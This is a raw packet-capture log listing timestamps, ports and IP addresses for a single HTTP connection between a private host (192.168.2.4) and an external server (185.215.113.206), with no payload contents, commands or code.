Nov 10, 2024 19:44:04.578958988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578963041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.578975916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578999996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.579024076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.579035044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579047918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579090118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.579202890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579216003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579226017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579236984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579248905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.579277992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.579365015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579377890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579392910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579411983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.579427004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579437971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579443932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.579451084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579463005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579473972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579473972 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.579498053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.579514027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.579695940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579708099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579720020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.579742908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.579772949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.605835915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.605885029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.605897903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.605906010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.605941057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.605972052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.605986118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606018066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.606028080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606040001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606081009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.606141090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606157064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606168985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606179953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606183052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.606224060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.606228113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606241941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606252909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606261969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.606266022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606291056 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.606319904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.606563091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606575966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606585979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606599092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606610060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606621027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606631041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.606633902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606645107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.606651068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.606682062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.606692076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.631156921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631171942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631181955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631232023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.631249905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.631325960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631375074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631381989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.631383896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631395102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631405115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631408930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.631416082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631419897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.631437063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631438971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.631460905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.631489992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.631516933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631527901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631536961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631565094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.631589890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.631756067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631764889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631773949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631783009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631793976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631798983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631813049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.631818056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631829023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.631839991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.631863117 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.632143021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632152081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632159948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632169962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632194042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.632210970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.632225990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632250071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632258892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632266998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632302999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.632337093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632337093 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.632381916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.632395983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632405996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632446051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.632606030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632617950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632626057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632637024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632647038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.632654905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.632668972 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.632694006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.677978992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.677993059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.678003073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.678071022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.680758953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.680769920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.680778980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.680784941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.680834055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.695698023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.695713997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.695724010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.695741892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.695753098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.695765018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.695776939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.695789099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.695805073 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.695821047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.695833921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.695873976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.695888996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696062088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696074009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696084023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696094990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696105957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696115017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696115971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696130991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696134090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696146011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696156979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696156979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696168900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696177959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696180105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696209908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696238041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696397066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696408033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696419954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696459055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696472883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696487904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696490049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696521997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696533918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696620941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696634054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696681023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696697950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696710110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696718931 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696731091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696739912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696769953 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696912050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696923018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696933031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.696964979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.696978092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.722747087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.722758055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.722769022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.722785950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.722796917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.722806931 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.722866058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.722915888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.722944975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.722955942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.722968102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.722991943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.723016024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.723025084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723036051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723046064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723072052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.723103046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.723196983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723207951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723217964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723251104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723261118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.723267078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723278999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723289967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.723320961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.723455906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723467112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723476887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723486900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723512888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.723531961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.723575115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723587036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723597050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723619938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.723639011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.723789930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723799944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723809958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.723850965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.723870993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.748219967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748235941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748245955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748291016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.748327017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.748351097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748370886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748380899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748409033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.748435974 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.748527050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748536110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748550892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748560905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748570919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748579025 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.748583078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748619080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.748630047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.748723030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748734951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748744965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748760939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748766899 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.748771906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748816967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.748907089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748918056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748927116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.748953104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.748964071 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.749005079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749037981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.749039888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749051094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749078989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.749167919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749192953 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.749203920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.749274015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749283075 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749313116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.749330997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749341011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749349117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749358892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749362946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.749387980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.749480963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749533892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749543905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749547958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.749578953 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.749586105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749594927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749600887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.749613047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.749634027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.749663115 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.794909000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.794922113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.794930935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.794938087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.795062065 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.797703028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.797741890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.797753096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.797801971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.797812939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.797822952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.797827005 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.797843933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.797869921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.812486887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812510014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812520981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812575102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.812582016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812593937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812623024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.812652111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.812654972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812668085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812686920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812697887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812710047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812711954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.812731981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.812755108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.812868118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812907934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812918901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812956095 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.812977076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.812988997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813009024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813019991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813026905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.813031912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813045025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813056946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.813091993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.813281059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813292980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813303947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813329935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.813354015 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.813354015 CET	80	49730	185.215.113.206	192.168.2.4
